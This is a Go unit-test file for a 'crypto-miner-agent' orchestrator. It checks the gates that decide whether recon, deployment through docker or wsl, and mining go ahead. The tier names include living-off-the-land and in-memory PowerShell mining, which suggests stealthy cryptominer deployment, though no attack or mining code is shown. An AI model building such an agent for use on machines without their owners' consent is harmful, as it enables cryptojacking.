187 lines
5.2 KiB
Go
187 lines
5.2 KiB
Go
package miner
|
|
|
|
import (
|
|
"context"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func TestEvaluateTripleOnionGatesPatchFirstCritical(t *testing.T) {
|
|
policy := DefaultTripleOnionPolicy()
|
|
recon := ReconSnapshot{CriticalExposed: 1, RiskScore: 25}
|
|
|
|
gate := EvaluateTripleOnionGates(policy, recon)
|
|
if !gate.PatchFirst {
|
|
t.Fatal("expected patch_first gate")
|
|
}
|
|
if !gate.SkipDeploy || !gate.SkipMining {
|
|
t.Fatalf("patch_first should block deploy+mining: %+v", gate)
|
|
}
|
|
if gate.Reason == "" {
|
|
t.Fatal("expected gate reason")
|
|
}
|
|
}
|
|
|
|
func TestEvaluateTripleOnionGatesPatchFirstDisabled(t *testing.T) {
|
|
policy := DefaultTripleOnionPolicy()
|
|
policy.PatchFirst = false
|
|
recon := ReconSnapshot{CriticalExposed: 2, RiskScore: 50}
|
|
|
|
gate := EvaluateTripleOnionGates(policy, recon)
|
|
if gate.SkipDeploy || gate.SkipMining {
|
|
t.Fatalf("patch_first off should not block chains: %+v", gate)
|
|
}
|
|
}
|
|
|
|
func TestEvaluateTripleOnionGatesSkipMiningHighRisk(t *testing.T) {
|
|
policy := DefaultTripleOnionPolicy()
|
|
policy.PatchFirst = false
|
|
policy.SkipMiningOnHighRisk = true
|
|
policy.HighRiskThreshold = 40
|
|
recon := ReconSnapshot{RiskScore: 55}
|
|
|
|
gate := EvaluateTripleOnionGates(policy, recon)
|
|
if gate.SkipMining {
|
|
if gate.SkipDeploy {
|
|
t.Fatal("high risk should only skip mining, not deploy")
|
|
}
|
|
} else {
|
|
t.Fatalf("expected skip mining at risk 55 >= 40: %+v", gate)
|
|
}
|
|
}
|
|
|
|
func TestEvaluateTripleOnionGatesHighRiskBelowThreshold(t *testing.T) {
|
|
policy := DefaultTripleOnionPolicy()
|
|
policy.PatchFirst = false
|
|
policy.SkipMiningOnHighRisk = true
|
|
policy.HighRiskThreshold = 60
|
|
recon := ReconSnapshot{RiskScore: 45}
|
|
|
|
gate := EvaluateTripleOnionGates(policy, recon)
|
|
if gate.SkipMining {
|
|
t.Fatalf("risk 45 < 60 should not skip mining: %+v", gate)
|
|
}
|
|
}
|
|
|
|
func TestEvaluateTripleOnionGatesPatchFirstOverridesHighRisk(t *testing.T) {
|
|
policy := DefaultTripleOnionPolicy()
|
|
policy.SkipMiningOnHighRisk = true
|
|
recon := ReconSnapshot{CriticalExposed: 1, RiskScore: 90}
|
|
|
|
gate := EvaluateTripleOnionGates(policy, recon)
|
|
if !gate.SkipDeploy || !gate.SkipMining {
|
|
t.Fatalf("critical CVE should block both chains: %+v", gate)
|
|
}
|
|
}
|
|
|
|
func TestApplyIsolatedMiningPolicySkipsHostPaths(t *testing.T) {
|
|
out := ApplyIsolatedMiningPolicy(DefaultMiningTierPolicy())
|
|
if len(out.TierOrder) == 0 {
|
|
t.Fatal("expected tier order")
|
|
}
|
|
if out.TierOrder[0] != TierDockerLoad {
|
|
t.Fatalf("isolated policy should start docker_load, got %v", out.TierOrder)
|
|
}
|
|
skip := make(map[LOTLTier]bool, len(out.SkipTiers))
|
|
for _, t := range out.SkipTiers {
|
|
skip[t] = true
|
|
}
|
|
for _, hostTier := range []LOTLTier{TierExeSubprocess, TierCPUInprocess, TierPSInMemory, TierDotnet} {
|
|
if !skip[hostTier] {
|
|
t.Fatalf("mine_isolated_tier should skip %s", hostTier)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestApplyEnvTripleOnionOverrides(t *testing.T) {
|
|
t.Setenv("AETHERFORGE_PATCH_FIRST", "false")
|
|
t.Setenv("AETHERFORGE_SKIP_MINING", "true")
|
|
t.Setenv("AETHERFORGE_MINE_ISOLATED", "1")
|
|
t.Setenv("AETHERFORGE_HIGH_RISK_THRESHOLD", "75")
|
|
|
|
p := ApplyEnvTripleOnionOverrides(DefaultTripleOnionPolicy())
|
|
if p.PatchFirst {
|
|
t.Fatal("env should disable patch_first")
|
|
}
|
|
if !p.SkipMiningOnHighRisk {
|
|
t.Fatal("env should enable skip mining")
|
|
}
|
|
if !p.MineIsolatedTier {
|
|
t.Fatal("env should enable mine_isolated")
|
|
}
|
|
if p.HighRiskThreshold != 75 {
|
|
t.Fatalf("threshold=%d want 75", p.HighRiskThreshold)
|
|
}
|
|
}
|
|
|
|
func TestTripleOnionOrchestratorRunGatesMining(t *testing.T) {
|
|
policy := DefaultTripleOnionPolicy()
|
|
policy.PatchFirst = false
|
|
policy.SkipMiningOnHighRisk = true
|
|
policy.HighRiskThreshold = 10
|
|
|
|
var miningStarted bool
|
|
o := NewTripleOnionOrchestrator(testCfg(config.BuiltinConfig{}), policy, TripleOnionHooks{
|
|
RunReconTier: func(_ context.Context, tier string) ReconTierResult {
|
|
if tier == "kev_scan" {
|
|
return ReconTierResult{
|
|
OK: true,
|
|
Snapshot: ReconSnapshot{
|
|
RiskScore: 80,
|
|
CriticalExposed: 0,
|
|
},
|
|
}
|
|
}
|
|
return ReconTierResult{OK: true}
|
|
},
|
|
RunDeployLane: func(_ context.Context, _ string) (bool, string) {
|
|
return false, "no targets"
|
|
},
|
|
RunMining: func(_ context.Context) {
|
|
miningStarted = true
|
|
},
|
|
})
|
|
|
|
report := o.Run(context.Background())
|
|
if miningStarted {
|
|
t.Fatal("high risk gate should skip mining")
|
|
}
|
|
if !report.Gate.SkipMining {
|
|
t.Fatalf("report gate should skip mining: %+v", report.Gate)
|
|
}
|
|
var sawMiningGate bool
|
|
for _, a := range report.Attempts {
|
|
if a.Phase == string(OnionPhaseMining) && a.Tier == "policy_gate" {
|
|
sawMiningGate = true
|
|
}
|
|
}
|
|
if !sawMiningGate {
|
|
t.Fatal("expected gated mining attempt recorded")
|
|
}
|
|
}
|
|
|
|
func TestTripleOnionOrchestratorDeployStopsOnSuccess(t *testing.T) {
|
|
var deployCalls int
|
|
policy := DefaultTripleOnionPolicy()
|
|
policy.DeployLanes = []string{"docker", "wsl"}
|
|
o := NewTripleOnionOrchestrator(testCfg(config.BuiltinConfig{}), policy, TripleOnionHooks{
|
|
RunReconTier: func(_ context.Context, _ string) ReconTierResult {
|
|
return ReconTierResult{OK: true}
|
|
},
|
|
RunDeployLane: func(_ context.Context, lane string) (bool, string) {
|
|
deployCalls++
|
|
if lane == "docker" {
|
|
return true, "container runtime ready"
|
|
}
|
|
return false, "skipped"
|
|
},
|
|
RunMining: func(_ context.Context) {},
|
|
})
|
|
|
|
o.Run(context.Background())
|
|
if deployCalls != 1 {
|
|
t.Fatalf("deploy should stop after first success, calls=%d", deployCalls)
|
|
}
|
|
}
|